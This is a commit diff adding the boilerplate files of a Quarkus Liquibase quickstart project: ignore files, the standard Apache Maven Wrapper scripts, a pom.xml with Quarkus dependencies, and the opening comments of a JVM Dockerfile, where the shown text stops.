STRLCPY/simple-request-attacks

■ ■ ■ ■ ■ ■

liquibase-quickstart/.dockerignore

1	+	*
2	+	!target/*-runner
3	+	!target/*-runner.jar
4	+	!target/lib/*
5	+	!target/quarkus-app/
6	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/.gitignore

1	+	# Eclipse
2	+	.project
3	+	.classpath
4	+	.settings/
5	+	bin/
6	+
7	+	# IntelliJ
8	+	.idea
9	+	*.ipr
10	+	*.iml
11	+	*.iws
12	+
13	+	# NetBeans
14	+	nb-configuration.xml
15	+
16	+	# Visual Studio Code
17	+	.vscode
18	+
19	+	# OSX
20	+	.DS_Store
21	+
22	+	# Vim
23	+	*.swp
24	+	*.swo
25	+
26	+	# patch
27	+	*.orig
28	+	*.rej
29	+
30	+	# Maven
31	+	target/
32	+	pom.xml.tag
33	+	pom.xml.releaseBackup
34	+	pom.xml.versionsBackup
35	+	release.properties

liquibase-quickstart/.mvn/wrapper/maven-wrapper.jar

Binary file.

■ ■ ■ ■ ■ ■

liquibase-quickstart/.mvn/wrapper/maven-wrapper.properties

1	+	# Licensed to the Apache Software Foundation (ASF) under one
2	+	# or more contributor license agreements. See the NOTICE file
3	+	# distributed with this work for additional information
4	+	# regarding copyright ownership. The ASF licenses this file
5	+	# to you under the Apache License, Version 2.0 (the
6	+	# "License"); you may not use this file except in compliance
7	+	# with the License. You may obtain a copy of the License at
8	+	#
9	+	# https://www.apache.org/licenses/LICENSE-2.0
10	+	#
11	+	# Unless required by applicable law or agreed to in writing,
12	+	# software distributed under the License is distributed on an
13	+	# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
14	+	# KIND, either express or implied. See the License for the
15	+	# specific language governing permissions and limitations
16	+	# under the License.
17	+	distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.6/apache-maven-3.8.6-bin.zip
18	+	wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.1/maven-wrapper-3.1.1.jar
19	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/README.md

	1	+	Quarkus guide: https://quarkus.io/guides/liquibase
	2	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/mvnw

1	+	#!/bin/sh
2	+	# ----------------------------------------------------------------------------
3	+	# Licensed to the Apache Software Foundation (ASF) under one
4	+	# or more contributor license agreements. See the NOTICE file
5	+	# distributed with this work for additional information
6	+	# regarding copyright ownership. The ASF licenses this file
7	+	# to you under the Apache License, Version 2.0 (the
8	+	# "License"); you may not use this file except in compliance
9	+	# with the License. You may obtain a copy of the License at
10	+	#
11	+	# http://www.apache.org/licenses/LICENSE-2.0
12	+	#
13	+	# Unless required by applicable law or agreed to in writing,
14	+	# software distributed under the License is distributed on an
15	+	# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
16	+	# KIND, either express or implied. See the License for the
17	+	# specific language governing permissions and limitations
18	+	# under the License.
19	+	# ----------------------------------------------------------------------------
20	+
21	+	# ----------------------------------------------------------------------------
22	+	# Apache Maven Wrapper startup batch script, version 3.1.1
23	+	#
24	+	# Required ENV vars:
25	+	# ------------------
26	+	# JAVA_HOME - location of a JDK home dir
27	+	#
28	+	# Optional ENV vars
29	+	# -----------------
30	+	# MAVEN_OPTS - parameters passed to the Java VM when running Maven
31	+	# e.g. to debug Maven itself, use
32	+	# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
33	+	# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
34	+	# ----------------------------------------------------------------------------
35	+
36	+	if [ -z "$MAVEN_SKIP_RC" ] ; then
37	+
38	+	if [ -f /usr/local/etc/mavenrc ] ; then
39	+	. /usr/local/etc/mavenrc
40	+	fi
41	+
42	+	if [ -f /etc/mavenrc ] ; then
43	+	. /etc/mavenrc
44	+	fi
45	+
46	+	if [ -f "$HOME/.mavenrc" ] ; then
47	+	. "$HOME/.mavenrc"
48	+	fi
49	+
50	+	fi
51	+
52	+	# OS specific support. $var _must_ be set to either true or false.
53	+	cygwin=false;
54	+	darwin=false;
55	+	mingw=false
56	+	case "`uname`" in
57	+	CYGWIN*) cygwin=true ;;
58	+	MINGW*) mingw=true;;
59	+	Darwin*) darwin=true
60	+	# Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
61	+	# See https://developer.apple.com/library/mac/qa/qa1170/_index.html
62	+	if [ -z "$JAVA_HOME" ]; then
63	+	if [ -x "/usr/libexec/java_home" ]; then
64	+	JAVA_HOME="`/usr/libexec/java_home`"; export JAVA_HOME
65	+	else
66	+	JAVA_HOME="/Library/Java/Home"; export JAVA_HOME
67	+	fi
68	+	fi
69	+	;;
70	+	esac
71	+
72	+	if [ -z "$JAVA_HOME" ] ; then
73	+	if [ -r /etc/gentoo-release ] ; then
74	+	JAVA_HOME=`java-config --jre-home`
75	+	fi
76	+	fi
77	+
78	+	# For Cygwin, ensure paths are in UNIX format before anything is touched
79	+	if $cygwin ; then
80	+	[ -n "$JAVA_HOME" ] &&
81	+	JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
82	+	[ -n "$CLASSPATH" ] &&
83	+	CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
84	+	fi
85	+
86	+	# For Mingw, ensure paths are in UNIX format before anything is touched
87	+	if $mingw ; then
88	+	[ -n "$JAVA_HOME" ] &&
89	+	JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
90	+	fi
91	+
92	+	if [ -z "$JAVA_HOME" ]; then
93	+	javaExecutable="`which javac`"
94	+	if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '$[^ ]*$'`" = "no" ]; then
95	+	# readlink(1) is not available as standard on Solaris 10.
96	+	readLink=`which readlink`
97	+	if [ ! `expr "$readLink" : '$[^ ]*$'` = "no" ]; then
98	+	if $darwin ; then
99	+	javaHome="`dirname \"$javaExecutable\"`"
100	+	javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
101	+	else
102	+	javaExecutable="`readlink -f \"$javaExecutable\"`"
103	+	fi
104	+	javaHome="`dirname \"$javaExecutable\"`"
105	+	javaHome=`expr "$javaHome" : '$.*$/bin'`
106	+	JAVA_HOME="$javaHome"
107	+	export JAVA_HOME
108	+	fi
109	+	fi
110	+	fi
111	+
112	+	if [ -z "$JAVACMD" ] ; then
113	+	if [ -n "$JAVA_HOME" ] ; then
114	+	if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
115	+	# IBM's JDK on AIX uses strange locations for the executables
116	+	JAVACMD="$JAVA_HOME/jre/sh/java"
117	+	else
118	+	JAVACMD="$JAVA_HOME/bin/java"
119	+	fi
120	+	else
121	+	JAVACMD="`\\unset -f command; \\command -v java`"
122	+	fi
123	+	fi
124	+
125	+	if [ ! -x "$JAVACMD" ] ; then
126	+	echo "Error: JAVA_HOME is not defined correctly." >&2
127	+	echo " We cannot execute $JAVACMD" >&2
128	+	exit 1
129	+	fi
130	+
131	+	if [ -z "$JAVA_HOME" ] ; then
132	+	echo "Warning: JAVA_HOME environment variable is not set."
133	+	fi
134	+
135	+	# traverses directory structure from process work directory to filesystem root
136	+	# first directory with .mvn subdirectory is considered project base directory
137	+	find_maven_basedir() {
138	+	if [ -z "$1" ]
139	+	then
140	+	echo "Path not specified to find_maven_basedir"
141	+	return 1
142	+	fi
143	+
144	+	basedir="$1"
145	+	wdir="$1"
146	+	while [ "$wdir" != '/' ] ; do
147	+	if [ -d "$wdir"/.mvn ] ; then
148	+	basedir=$wdir
149	+	break
150	+	fi
151	+	# workaround for JBEAP-8937 (on Solaris 10/Sparc)
152	+	if [ -d "${wdir}" ]; then
153	+	wdir=`cd "$wdir/.."; pwd`
154	+	fi
155	+	# end of workaround
156	+	done
157	+	printf '%s' "$(cd "$basedir"; pwd)"
158	+	}
159	+
160	+	# concatenates all lines of a file
161	+	concat_lines() {
162	+	if [ -f "$1" ]; then
163	+	echo "$(tr -s '\n' ' ' < "$1")"
164	+	fi
165	+	}
166	+
167	+	BASE_DIR=$(find_maven_basedir "$(dirname $0)")
168	+	if [ -z "$BASE_DIR" ]; then
169	+	exit 1;
170	+	fi
171	+
172	+	MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}; export MAVEN_PROJECTBASEDIR
173	+	if [ "$MVNW_VERBOSE" = true ]; then
174	+	echo $MAVEN_PROJECTBASEDIR
175	+	fi
176	+
177	+	##########################################################################################
178	+	# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
179	+	# This allows using the maven wrapper in projects that prohibit checking in binary data.
180	+	##########################################################################################
181	+	if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
182	+	if [ "$MVNW_VERBOSE" = true ]; then
183	+	echo "Found .mvn/wrapper/maven-wrapper.jar"
184	+	fi
185	+	else
186	+	if [ "$MVNW_VERBOSE" = true ]; then
187	+	echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
188	+	fi
189	+	if [ -n "$MVNW_REPOURL" ]; then
190	+	wrapperUrl="$MVNW_REPOURL/org/apache/maven/wrapper/maven-wrapper/3.1.1/maven-wrapper-3.1.1.jar"
191	+	else
192	+	wrapperUrl="https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.1/maven-wrapper-3.1.1.jar"
193	+	fi
194	+	while IFS="=" read key value; do
195	+	case "$key" in (wrapperUrl) wrapperUrl="$value"; break ;;
196	+	esac
197	+	done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
198	+	if [ "$MVNW_VERBOSE" = true ]; then
199	+	echo "Downloading from: $wrapperUrl"
200	+	fi
201	+	wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
202	+	if $cygwin; then
203	+	wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
204	+	fi
205	+
206	+	if command -v wget > /dev/null; then
207	+	QUIET="--quiet"
208	+	if [ "$MVNW_VERBOSE" = true ]; then
209	+	echo "Found wget ... using wget"
210	+	QUIET=""
211	+	fi
212	+	if [ -z "$MVNW_USERNAME" ] \|\| [ -z "$MVNW_PASSWORD" ]; then
213	+	wget $QUIET "$wrapperUrl" -O "$wrapperJarPath"
214	+	else
215	+	wget $QUIET --http-user="$MVNW_USERNAME" --http-password="$MVNW_PASSWORD" "$wrapperUrl" -O "$wrapperJarPath"
216	+	fi
217	+	[ $? -eq 0 ] \|\| rm -f "$wrapperJarPath"
218	+	elif command -v curl > /dev/null; then
219	+	QUIET="--silent"
220	+	if [ "$MVNW_VERBOSE" = true ]; then
221	+	echo "Found curl ... using curl"
222	+	QUIET=""
223	+	fi
224	+	if [ -z "$MVNW_USERNAME" ] \|\| [ -z "$MVNW_PASSWORD" ]; then
225	+	curl $QUIET -o "$wrapperJarPath" "$wrapperUrl" -f -L
226	+	else
227	+	curl $QUIET --user "$MVNW_USERNAME:$MVNW_PASSWORD" -o "$wrapperJarPath" "$wrapperUrl" -f -L
228	+	fi
229	+	[ $? -eq 0 ] \|\| rm -f "$wrapperJarPath"
230	+	else
231	+	if [ "$MVNW_VERBOSE" = true ]; then
232	+	echo "Falling back to using Java to download"
233	+	fi
234	+	javaSource="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
235	+	javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class"
236	+	# For Cygwin, switch paths to Windows format before running javac
237	+	if $cygwin; then
238	+	javaSource=`cygpath --path --windows "$javaSource"`
239	+	javaClass=`cygpath --path --windows "$javaClass"`
240	+	fi
241	+	if [ -e "$javaSource" ]; then
242	+	if [ ! -e "$javaClass" ]; then
243	+	if [ "$MVNW_VERBOSE" = true ]; then
244	+	echo " - Compiling MavenWrapperDownloader.java ..."
245	+	fi
246	+	# Compiling the Java class
247	+	("$JAVA_HOME/bin/javac" "$javaSource")
248	+	fi
249	+	if [ -e "$javaClass" ]; then
250	+	# Running the downloader
251	+	if [ "$MVNW_VERBOSE" = true ]; then
252	+	echo " - Running MavenWrapperDownloader.java ..."
253	+	fi
254	+	("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
255	+	fi
256	+	fi
257	+	fi
258	+	fi
259	+	##########################################################################################
260	+	# End of extension
261	+	##########################################################################################
262	+
263	+	MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
264	+
265	+	# For Cygwin, switch paths to Windows format before running java
266	+	if $cygwin; then
267	+	[ -n "$JAVA_HOME" ] &&
268	+	JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
269	+	[ -n "$CLASSPATH" ] &&
270	+	CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
271	+	[ -n "$MAVEN_PROJECTBASEDIR" ] &&
272	+	MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
273	+	fi
274	+
275	+	# Provide a "standardized" way to retrieve the CLI args that will
276	+	# work with both Windows and non-Windows executions.
277	+	MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
278	+	export MAVEN_CMD_LINE_ARGS
279	+
280	+	WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
281	+
282	+	exec "$JAVACMD" \
283	+	$MAVEN_OPTS \
284	+	$MAVEN_DEBUG_OPTS \
285	+	-classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
286	+	"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
287	+	${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
288	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/mvnw.cmd

1	+	@REM ----------------------------------------------------------------------------
2	+	@REM Licensed to the Apache Software Foundation (ASF) under one
3	+	@REM or more contributor license agreements. See the NOTICE file
4	+	@REM distributed with this work for additional information
5	+	@REM regarding copyright ownership. The ASF licenses this file
6	+	@REM to you under the Apache License, Version 2.0 (the
7	+	@REM "License"); you may not use this file except in compliance
8	+	@REM with the License. You may obtain a copy of the License at
9	+	@REM
10	+	@REM http://www.apache.org/licenses/LICENSE-2.0
11	+	@REM
12	+	@REM Unless required by applicable law or agreed to in writing,
13	+	@REM software distributed under the License is distributed on an
14	+	@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
15	+	@REM KIND, either express or implied. See the License for the
16	+	@REM specific language governing permissions and limitations
17	+	@REM under the License.
18	+	@REM ----------------------------------------------------------------------------
19	+
20	+	@REM ----------------------------------------------------------------------------
21	+	@REM Apache Maven Wrapper startup batch script, version 3.1.1
22	+	@REM
23	+	@REM Required ENV vars:
24	+	@REM JAVA_HOME - location of a JDK home dir
25	+	@REM
26	+	@REM Optional ENV vars
27	+	@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
28	+	@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending
29	+	@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
30	+	@REM e.g. to debug Maven itself, use
31	+	@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
32	+	@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
33	+	@REM ----------------------------------------------------------------------------
34	+
35	+	@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
36	+	@echo off
37	+	@REM set title of command window
38	+	title %0
39	+	@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
40	+	@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
41	+
42	+	@REM set %HOME% to equivalent of $HOME
43	+	if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
44	+
45	+	@REM Execute a user defined script before this one
46	+	if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
47	+	@REM check for pre script, once with legacy .bat ending and once with .cmd ending
48	+	if exist "%USERPROFILE%\mavenrc_pre.bat" call "%USERPROFILE%\mavenrc_pre.bat" %*
49	+	if exist "%USERPROFILE%\mavenrc_pre.cmd" call "%USERPROFILE%\mavenrc_pre.cmd" %*
50	+	:skipRcPre
51	+
52	+	@setlocal
53	+
54	+	set ERROR_CODE=0
55	+
56	+	@REM To isolate internal variables from possible post scripts, we use another setlocal
57	+	@setlocal
58	+
59	+	@REM ==== START VALIDATION ====
60	+	if not "%JAVA_HOME%" == "" goto OkJHome
61	+
62	+	echo.
63	+	echo Error: JAVA_HOME not found in your environment. >&2
64	+	echo Please set the JAVA_HOME variable in your environment to match the >&2
65	+	echo location of your Java installation. >&2
66	+	echo.
67	+	goto error
68	+
69	+	:OkJHome
70	+	if exist "%JAVA_HOME%\bin\java.exe" goto init
71	+
72	+	echo.
73	+	echo Error: JAVA_HOME is set to an invalid directory. >&2
74	+	echo JAVA_HOME = "%JAVA_HOME%" >&2
75	+	echo Please set the JAVA_HOME variable in your environment to match the >&2
76	+	echo location of your Java installation. >&2
77	+	echo.
78	+	goto error
79	+
80	+	@REM ==== END VALIDATION ====
81	+
82	+	:init
83	+
84	+	@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
85	+	@REM Fallback to current working directory if not found.
86	+
87	+	set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
88	+	IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
89	+
90	+	set EXEC_DIR=%CD%
91	+	set WDIR=%EXEC_DIR%
92	+	:findBaseDir
93	+	IF EXIST "%WDIR%"\.mvn goto baseDirFound
94	+	cd ..
95	+	IF "%WDIR%"=="%CD%" goto baseDirNotFound
96	+	set WDIR=%CD%
97	+	goto findBaseDir
98	+
99	+	:baseDirFound
100	+	set MAVEN_PROJECTBASEDIR=%WDIR%
101	+	cd "%EXEC_DIR%"
102	+	goto endDetectBaseDir
103	+
104	+	:baseDirNotFound
105	+	set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
106	+	cd "%EXEC_DIR%"
107	+
108	+	:endDetectBaseDir
109	+
110	+	IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
111	+
112	+	@setlocal EnableExtensions EnableDelayedExpansion
113	+	for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
114	+	@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
115	+
116	+	:endReadAdditionalConfig
117	+
118	+	SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
119	+	set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
120	+	set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
121	+
122	+	set WRAPPER_URL="https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.1/maven-wrapper-3.1.1.jar"
123	+
124	+	FOR /F "usebackq tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
125	+	IF "%%A"=="wrapperUrl" SET WRAPPER_URL=%%B
126	+	)
127	+
128	+	@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
129	+	@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
130	+	if exist %WRAPPER_JAR% (
131	+	if "%MVNW_VERBOSE%" == "true" (
132	+	echo Found %WRAPPER_JAR%
133	+	)
134	+	) else (
135	+	if not "%MVNW_REPOURL%" == "" (
136	+	SET WRAPPER_URL="%MVNW_REPOURL%/org/apache/maven/wrapper/maven-wrapper/3.1.1/maven-wrapper-3.1.1.jar"
137	+	)
138	+	if "%MVNW_VERBOSE%" == "true" (
139	+	echo Couldn't find %WRAPPER_JAR%, downloading it ...
140	+	echo Downloading from: %WRAPPER_URL%
141	+	)
142	+
143	+	powershell -Command "&{"^
144	+	"$webclient = new-object System.Net.WebClient;"^
145	+	"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
146	+	"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
147	+	"}"^
148	+	"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%WRAPPER_URL%', '%WRAPPER_JAR%')"^
149	+	"}"
150	+	if "%MVNW_VERBOSE%" == "true" (
151	+	echo Finished downloading %WRAPPER_JAR%
152	+	)
153	+	)
154	+	@REM End of extension
155	+
156	+	@REM Provide a "standardized" way to retrieve the CLI args that will
157	+	@REM work with both Windows and non-Windows executions.
158	+	set MAVEN_CMD_LINE_ARGS=%*
159	+
160	+	%MAVEN_JAVA_EXE% ^
161	+	%JVM_CONFIG_MAVEN_PROPS% ^
162	+	%MAVEN_OPTS% ^
163	+	%MAVEN_DEBUG_OPTS% ^
164	+	-classpath %WRAPPER_JAR% ^
165	+	"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" ^
166	+	%WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
167	+	if ERRORLEVEL 1 goto error
168	+	goto end
169	+
170	+	:error
171	+	set ERROR_CODE=1
172	+
173	+	:end
174	+	@endlocal & set ERROR_CODE=%ERROR_CODE%
175	+
176	+	if not "%MAVEN_SKIP_RC%"=="" goto skipRcPost
177	+	@REM check for post script, once with legacy .bat ending and once with .cmd ending
178	+	if exist "%USERPROFILE%\mavenrc_post.bat" call "%USERPROFILE%\mavenrc_post.bat"
179	+	if exist "%USERPROFILE%\mavenrc_post.cmd" call "%USERPROFILE%\mavenrc_post.cmd"
180	+	:skipRcPost
181	+
182	+	@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
183	+	if "%MAVEN_BATCH_PAUSE%"=="on" pause
184	+
185	+	if "%MAVEN_TERMINATE_CMD%"=="on" exit %ERROR_CODE%
186	+
187	+	cmd /C exit /B %ERROR_CODE%
188	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/pom.xml

1	+	<?xml version="1.0"?>
2	+	<project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns="http://maven.apache.org/POM/4.0.0"
3	+	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
4	+	<modelVersion>4.0.0</modelVersion>
5	+	<groupId>org.acme</groupId>
6	+	<artifactId>liquibase-quickstart</artifactId>
7	+	<version>1.0.0-SNAPSHOT</version>
8	+	<properties>
9	+	<compiler-plugin.version>3.8.1</compiler-plugin.version>
10	+	<maven.compiler.parameters>true</maven.compiler.parameters>
11	+	<maven.compiler.source>11</maven.compiler.source>
12	+	<maven.compiler.target>11</maven.compiler.target>
13	+	<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14	+	<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
15	+	<quarkus.platform.artifact-id>quarkus-bom</quarkus.platform.artifact-id>
16	+	<quarkus.platform.group-id>io.quarkus</quarkus.platform.group-id>
17	+	<quarkus.platform.version>2.14.0.Final</quarkus.platform.version>
18	+	<surefire-plugin.version>3.0.0-M7</surefire-plugin.version>
19	+	</properties>
20	+	<dependencyManagement>
21	+	<dependencies>
22	+	<dependency>
23	+	<groupId>${quarkus.platform.group-id}</groupId>
24	+	<artifactId>${quarkus.platform.artifact-id}</artifactId>
25	+	<version>${quarkus.platform.version}</version>
26	+	<type>pom</type>
27	+	<scope>import</scope>
28	+	</dependency>
29	+	</dependencies>
30	+	</dependencyManagement>
31	+	<dependencies>
32	+	<dependency>
33	+	<groupId>io.quarkus</groupId>
34	+	<artifactId>quarkus-resteasy-reactive</artifactId>
35	+	</dependency>
36	+	<dependency>
37	+	<groupId>io.quarkus</groupId>
38	+	<artifactId>quarkus-hibernate-orm</artifactId>
39	+	</dependency>
40	+	<dependency>
41	+	<groupId>io.quarkus</groupId>
42	+	<artifactId>quarkus-resteasy-reactive-jackson</artifactId>
43	+	</dependency>
44	+	<dependency>
45	+	<groupId>io.quarkus</groupId>
46	+	<artifactId>quarkus-jdbc-h2</artifactId>
47	+	</dependency>
48	+	<dependency>
49	+	<groupId>io.quarkus</groupId>
50	+	<artifactId>quarkus-liquibase</artifactId>
51	+	</dependency>
52	+	<dependency>
53	+	<groupId>io.quarkus</groupId>
54	+	<artifactId>quarkus-junit5</artifactId>
55	+	<scope>test</scope>
56	+	</dependency>
57	+	<dependency>
58	+	<groupId>io.rest-assured</groupId>
59	+	<artifactId>rest-assured</artifactId>
60	+	<scope>test</scope>
61	+	</dependency>
62	+	</dependencies>
63	+	<build>
64	+	<plugins>
65	+	<plugin>
66	+	<groupId>${quarkus.platform.group-id}</groupId>
67	+	<artifactId>quarkus-maven-plugin</artifactId>
68	+	<version>${quarkus.platform.version}</version>
69	+	<executions>
70	+	<execution>
71	+	<goals>
72	+	<goal>build</goal>
73	+	</goals>
74	+	</execution>
75	+	</executions>
76	+	</plugin>
77	+	<plugin>
78	+	<artifactId>maven-compiler-plugin</artifactId>
79	+	<version>${compiler-plugin.version}</version>
80	+	</plugin>
81	+	<plugin>
82	+	<!-- you need this specific version to integrate with the other build helpers -->
83	+	<artifactId>maven-surefire-plugin</artifactId>
84	+	<version>${surefire-plugin.version}</version>
85	+	<configuration>
86	+	<systemPropertyVariables>
87	+	<java.util.logging.manager>org.jboss.logmanager.LogManager</java.util.logging.manager>
88	+	<maven.home>${maven.home}</maven.home>
89	+	</systemPropertyVariables>
90	+	</configuration>
91	+	</plugin>
92	+	</plugins>
93	+	</build>
94	+	<profiles>
95	+	<profile>
96	+	<id>native</id>
97	+	<activation>
98	+	<property>
99	+	<name>native</name>
100	+	</property>
101	+	</activation>
102	+	<build>
103	+	<plugins>
104	+	<plugin>
105	+	<artifactId>maven-failsafe-plugin</artifactId>
106	+	<version>${surefire-plugin.version}</version>
107	+	<executions>
108	+	<execution>
109	+	<goals>
110	+	<goal>integration-test</goal>
111	+	<goal>verify</goal>
112	+	</goals>
113	+	<configuration>
114	+	<systemPropertyVariables>
115	+	<native.image.path>${project.build.directory}/${project.build.finalName}-runner</native.image.path>
116	+	<java.util.logging.manager>org.jboss.logmanager.LogManager</java.util.logging.manager>
117	+	<maven.home>${maven.home}</maven.home>
118	+	</systemPropertyVariables>
119	+	</configuration>
120	+	</execution>
121	+	</executions>
122	+	</plugin>
123	+	</plugins>
124	+	</build>
125	+	<properties>
126	+	<quarkus.package.type>native</quarkus.package.type>
127	+	</properties>
128	+	</profile>
129	+	</profiles>
130	+	</project>
131	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/main/docker/Dockerfile.jvm

1	+	####
2	+	# This Dockerfile is used in order to build a container that runs the Quarkus application in JVM mode
3	+	#
4	+	# Before building the container image run:
5	+	#
6	+	# ./mvnw package
7	+	#
8	+	# Then, build the image with:
9	+	#
10	+	# docker build -f src/main/docker/Dockerfile.jvm -t quarkus/liquibase-quickstart-jvm .
11	+	#
12	+	# Then run the container using:
13	+	#
14	+	# docker run -i --rm -p 8080:8080 quarkus/liquibase-quickstart-jvm
15	+	#
16	+	# If you want to include the debug port into your docker image
17	+	# you will have to expose the debug port (default 5005) like this : EXPOSE 8080 5005
18	+	#
19	+	# Then run the container using :
20	+	#
21	+	# docker run -i --rm -p 8080:8080 quarkus/liquibase-quickstart-jvm
22	+	#
23	+	# This image uses the `run-java.sh` script to run the application.
24	+	# This scripts computes the command line to execute your Java application, and
25	+	# includes memory/GC tuning.
26	+	# You can configure the behavior using the following environment properties:
27	+	# - JAVA_OPTS: JVM options passed to the `java` command (example: "-verbose:class")
28	+	# - JAVA_OPTS_APPEND: User specified Java options to be appended to generated options
29	+	# in JAVA_OPTS (example: "-Dsome.property=foo")
30	+	# - JAVA_MAX_MEM_RATIO: Is used when no `-Xmx` option is given in JAVA_OPTS. This is
31	+	# used to calculate a default maximal heap memory based on a containers restriction.
32	+	# If used in a container without any memory constraints for the container then this
33	+	# option has no effect. If there is a memory constraint then `-Xmx` is set to a ratio
34	+	# of the container available memory as set here. The default is `50` which means 50%
35	+	# of the available memory is used as an upper boundary. You can skip this mechanism by
36	+	# setting this value to `0` in which case no `-Xmx` option is added.
37	+	# - JAVA_INITIAL_MEM_RATIO: Is used when no `-Xms` option is given in JAVA_OPTS. This
38	+	# is used to calculate a default initial heap memory based on the maximum heap memory.
39	+	# If used in a container without any memory constraints for the container then this
40	+	# option has no effect. If there is a memory constraint then `-Xms` is set to a ratio
41	+	# of the `-Xmx` memory as set here. The default is `25` which means 25% of the `-Xmx`
42	+	# is used as the initial heap size. You can skip this mechanism by setting this value
43	+	# to `0` in which case no `-Xms` option is added (example: "25")
44	+	# - JAVA_MAX_INITIAL_MEM: Is used when no `-Xms` option is given in JAVA_OPTS.
45	+	# This is used to calculate the maximum value of the initial heap memory. If used in
46	+	# a container without any memory constraints for the container then this option has
47	+	# no effect. If there is a memory constraint then `-Xms` is limited to the value set
48	+	# here. The default is 4096MB which means the calculated value of `-Xms` never will
49	+	# be greater than 4096MB. The value of this variable is expressed in MB (example: "4096")
50	+	# - JAVA_DIAGNOSTICS: Set this to get some diagnostics information to standard output
51	+	# when things are happening. This option, if set to true, will set
52	+	# `-XX:+UnlockDiagnosticVMOptions`. Disabled by default (example: "true").
53	+	# - JAVA_DEBUG: If set remote debugging will be switched on. Disabled by default (example:
54	+	# true").
55	+	# - JAVA_DEBUG_PORT: Port used for remote debugging. Defaults to 5005 (example: "8787").
